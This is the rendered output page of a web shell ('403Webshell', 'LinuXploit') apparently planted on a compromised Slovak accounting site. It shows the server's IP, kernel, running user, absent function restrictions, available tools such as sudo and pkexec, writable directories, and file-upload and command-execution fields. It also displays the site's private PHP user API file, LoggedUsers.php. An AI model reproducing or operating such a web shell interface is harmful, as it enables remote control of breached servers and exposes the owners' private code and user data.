403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/users/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/users/api/LoggedUsers.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace modules\users\api;

/**
 * @includeInDoc true
 * @description "Logged users endpoint."
 * @requiresAuthorization "Yes."
 */
class LoggedUsers extends \app\classes\ApiClass {

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters []
     */
    public function logout() {
        session_destroy();
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["first_name", "last_name"]
     */
    public function updateProfile() {
        $additionalData = [];
        if ($this->loggedUser->getType() === \app\constants\UserType::CUSTOMER) {
            $_POST["is_company"] = 0;
            $additionalData = array("is_company" => 0);
            if (intval($this->urlReader->getPost("is_company")) === 1) {
                $additionalData["is_company"] = 1;
                $additionalDataKeys = array("company_name", "company_street", "company_city", "company_zip", "company_country", "company_idn", "company_tin", "company_vat");
            }
            foreach ($additionalDataKeys as $key) {
                $value = $this->urlReader->getPost($key);
                if ($value === false && $key !== "company_vat") {
                    throw new \Exception($key, \app\constants\ResponseCodes::MISSING_REQUIRED_POST_PARAMETER);
                }
                $additionalData[$key] = $value;
            }
        } else {
            $additionalData['gmail_account_number'] = $this->urlReader->getPost('gmail_account_number');
        }

        $this->loggedUser->update(array(
            "first_name" => $this->urlReader->getPost("first_name"),
            "last_name" => $this->urlReader->getPost("last_name"),
            "phone" => $this->urlReader->getPost("phone")
                ) + $additionalData);

        if ($this->loggedUser->getType() === \app\constants\UserType::CONSULTANT && $this->loggedUser->getMetadata("enableNewsletter") === false) {
            $this->loggedUser->addMetadataVariable("enableNewsletter", intval($this->urlReader->getPost("newsletter")) === 1 ? 1 : 0);
        }

        if ($this->loggedUser->setMetadata("enableNewsletter", intval($this->urlReader->getPost("newsletter")) === 1 ? 1 : 0)) {
            if (intval($this->urlReader->getPost("newsletter")) === 1) {
                \modules\newsletter\code\Newsletter::add($this->loggedUser->getEmail());
            } else {
                \modules\newsletter\code\Newsletter::remove($this->loggedUser->getEmail());
            }
        }
    }

    /**
     * @includeInDoc true
     * @requestMethod "POST"
     * @RequiredPostParameters ["old_password", "password", "password_retype"]
     * @Description "<i>Change users password<hr></i>"
     * 
     * @stringOld_password "old password //if password does not equal old password, returns <font color='red'>401 Unauthorized with code 40104</font>"
     * @stringPassword "new password, minimum lenght: 8 letters, must contains at least one number and one letter //can cause HTTP RESPONSE 400 Bad Request"
     * @stringPassword_retype "new password confirmation //can cause HTTP RESPONSE 400 Bad Request<hr>"
     * 
     * @Returns "<b><i>on success authToken otherwise empty data set</i></b>" 
     */
    public function changePassword() {
        try {
            if (strlen($this->urlReader->getPost("password")) < 8 || !preg_match("#[0-9]+#", $this->urlReader->getPost("password")) || is_numeric($this->urlReader->getPost("password"))) {
                throw new \Exception(\app\constants\ResponseCodes::getMessageForCode(\app\constants\ResponseCodes::INVALID_PASSWORD), \app\constants\ResponseCodes::INVALID_PASSWORD);
            }

            if ($this->urlReader->getPost("password") !== $this->urlReader->getPost("password_retype")) {
                throw new \Exception(\app\constants\ResponseCodes::getMessageForCode(\app\constants\ResponseCodes::PASSWORD_MISMATCH), \app\constants\ResponseCodes::PASSWORD_MISMATCH);
            }

            if ($this->loggedUser->login($this->urlReader->getPost("old_password")) === false) {
                throw new \Exception(\app\constants\ResponseCodes::getMessageForCode(\app\constants\ResponseCodes::BAD_PASSWORD), \app\constants\ResponseCodes::BAD_PASSWORD);
            }


            $this->loggedUser->update(array(
                "password" => password_hash($this->urlReader->getPost("password"), PASSWORD_BCRYPT),
                "secret" => generateRandomString(40),
                "state" => \app\constants\State::ACTIVE,
            ));

            $user = new \app\classes\BasicUser($this->loggedUser->_get("email"), false, false, false);
            $this->restApi->ajaxResponse(array(
                "authToken" => $user->getAuthToken(),
                "title" => $this->translator->_get("Heslo bolo úspešne zmenené."),
                "text" => $this->translator->_get("Budete presmerovaný na domovskú stránku."),
            ));
        } catch (\Exception $ex) {
            $this->restApi->setCode($ex->getCode());
            $this->restApi->setHttpResponseCode($ex->getCode());
            $this->restApi->ajaxResponse();
        }
    }

    public function toggleMenuVisibility() {
        if (!isset($_COOKIE["admin_hide_menu"]) || $_COOKIE["admin_hide_menu"] == false) {
            setcookie("admin_hide_menu", true, time() + 60 * 60 * 24 * 365, "/");
        } else {
            setcookie("admin_hide_menu", false, time() + 60 * 60 * 24 * 365, "/");
        }
    }

    /**
     * @includeInDoc true
     * @requestMethod GET
     * @Description "<i>Get user info</i><hr>"
     * 
     * @Returns "<b><i></i></b>"
     * @requireReturns "users/get_info.php"
     */
    public function getInfo() {
        $offices = new \app\classes\PDOCollection("offices", "id", false, array("state" => \app\constants\State::ACTIVE, "users_id" => $this->loggedUser->_get("id")), " WHERE state=:state AND id IN(SELECT offices_id FROM offices_has_users WHERE users_id=:users_id AND state=:state)");
        try {
            $this->restApi->ajaxResponse(array(
                "first_name" => $this->loggedUser->_get("first_name"),
                "last_name" => $this->loggedUser->_get("last_name"),
                "email" => $this->loggedUser->_get("email"),
                "phone" => $this->loggedUser->_get("phone"),
                "type" => \app\constants\UserType::getStateMessage($this->loggedUser->_get("type")),
                "services" => implode(", ", array_map("\modules\users\code\UserServices::getStateMessage", explode("!", $this->loggedUser->_get("services")))),
                "contract" => \modules\users\code\UserContractType::getStateMessage($this->loggedUser->_get("contract")),
                "offices" => implode(", ", array_column($offices->toArray(), "name", "id")),
                "created" => $this->loggedUser->_get("created"),
                "last_update" => $this->loggedUser->_get("last_update")
            ));
        } catch (\Exception $ex) {
            $this->restApi->setCode($ex->getCode());
            $this->restApi->setHttpResponseCode($ex->getCode());
            $this->restApi->ajaxResponse();
        }
    }

    /**
     * @includeInDoc true
     * @requestMethod POST
     * @RequiredPostParameters ["gcm_id"]
     * @RequiredGetParameters []
     * @Description "<i>Update user gcm id</i><hr>"
     * 
     * @stringGcm_id "gcm id<hr>"
     * 
     * @Returns "<b><i>empty data set</i></b>"
     */
    public function updateGcmId() {
        try {

            $this->loggedUser->update(array(
                "gcm_id" => $this->urlReader->getPost("gcm_id"),
            ));
        } catch (\Exception $ex) {
            $this->restApi->setCode($ex->getCode());
            $this->restApi->setHttpResponseCode($ex->getCode());
            $this->restApi->ajaxResponse();
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit